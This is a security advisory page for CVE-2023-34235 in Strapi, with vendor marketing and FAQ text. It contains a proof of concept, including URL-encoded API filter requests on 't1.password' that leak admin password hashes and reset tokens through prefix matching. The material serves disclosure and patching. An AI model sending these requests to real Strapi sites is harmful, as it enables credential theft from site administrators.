Summary
Leaking sensitive user information still possible by filtering on private with prefix fields
Still able to leak private fields if using the t(number) prefix
Details
Knex query allows you to change there default prefixSqliteError: select distinct `t0`.* from `pages` as `t0` left join `admin_users` as `t1` on `t0`.`updated_by_id` = `t1`.`id` where (`t1`.`password` = 1)
so if you change the prefix to the same as it was before or to an other table you want to query you query changes from password to t1.password password is protected by filtering protections but t1.password is not protected
PoC
1 Create a contentType
2 add to its options "populateCreatorFields"
3 create 1 entity in your new content type
4 in settings enable the find route in settings for the content type you created for public
5 /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=a%24
And now the api returns noting if you were to do
/api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=%24 it would return your entity
Impact
You can do filtering attacks on everything related to the object again including admin passwords and reset-tokens.
Impact
CVE-2023-34235 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.10.8); upgrading removes the vulnerable code path.

Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Frequently Asked Questions
- What is CVE-2023-34235? CVE-2023-34235 is a high-severity security vulnerability in @strapi/database (npm), affecting versions <= 4.10.7. It is fixed in 4.10.8.
- How severe is CVE-2023-34235? CVE-2023-34235 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2023-34235?
@strapi/database(npm) (versions <= 4.10.7)@strapi/utils(npm) (versions <= 4.10.7)
- Is there a fix for CVE-2023-34235? Yes. CVE-2023-34235 is fixed in 4.10.8. Upgrade to this version or later.
- Is CVE-2023-34235 exploitable, and should I be worried? Whether CVE-2023-34235 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

- What actually determines whether CVE-2023-34235 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
